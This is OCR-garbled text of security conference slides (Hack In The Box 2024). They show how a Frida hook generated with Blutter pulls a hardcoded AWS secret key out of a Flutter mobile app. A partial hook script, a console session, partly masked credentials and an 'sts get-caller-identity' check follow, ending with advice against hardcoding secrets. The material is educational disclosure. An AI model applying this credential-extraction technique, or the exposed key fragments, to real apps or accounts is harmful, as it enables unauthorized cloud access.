address ‘Ox126f0a4’ is a client for calling and access the AWS S3 bucket

app_initialize_security.dart X

SIC app_initialize_security.dart

SecurityModule Module

initl } async {




Application # 4

« Frida script generated from executing B(l)utter was used to hook the function and found

the secret access key.

blutter_fridajs ®

C: > Users » Datafarm > Desktop > blutter_fridajs
ShowNullField = ;
MaxDepth = 5;
libapp = ;

onLibappLoaded() {

xxX("remove this line and correct the hook value");
fn_addr = @x126f@a4;
Interceptor.attach(libapp.add(fn_addr),
onEnter: O {
init( .context);
objPtr : " R
[tptr.C:\Users\DataFarm\Desktop>frida -U -f com. -1 blutter_frida.js

console.log!
€ Frida 16.2.1 - A world-class dynamic instrumentation toolkit

Commands:
help -> Displays the help system
object? -> Display information about 'object'
exit/quit -> Exit

More info at https://frida.re/docs/home/
Connected to M2101K7BG (id=KVSU4SG69ZDMJITKBY)

Spawned ‘com. ‘. Resuming main thread!
[M2101K7BG: :com. ]-> String@74032fe749 = "MRvNOg30WLKQqstPKN/b




Application # 4

AWS configuration was set using the AWS Secret Access Key and AWS Access Key ID. This
made it possible to query IAM identity data, proving that the credentials are valid.

We can use these credentials to perform file upload to the upload role and attack the system.

)=[~]
., configure
AWS Access Key ID [#**kkkkkkkkkkk*x*x0ZXE]: AKIA5IVATS

AWS Secret Access Key [#*xx*x***k***x*x%x%x]: MRVNOg30WLkQqstPKN/bVERe
Default region name [None]:
Default output format [None]:

)-[~]
., sts get-caller-identity

"UserId": "AIDAS5JVATS5KF
"Account": "914091 )

"Arn": "arn:aws:iam:: 914091 :user/ _clip_uploader”




COIVIIVIS|E®

Conclusion

Hack In The Box Security Conference 2024 - Bangkok




Conclusion

« Hardcoding secret credentials poses significant
security risks.

- Embedded credentials are vulnerable to reverse
engineering and unauthorized access.

«  Exposing sensitive data can compromise the
entire system.

- Prioritizing security helps protect applications,

users, and data fromm malicious threats.



I//
.

THANK YOU

For Listening
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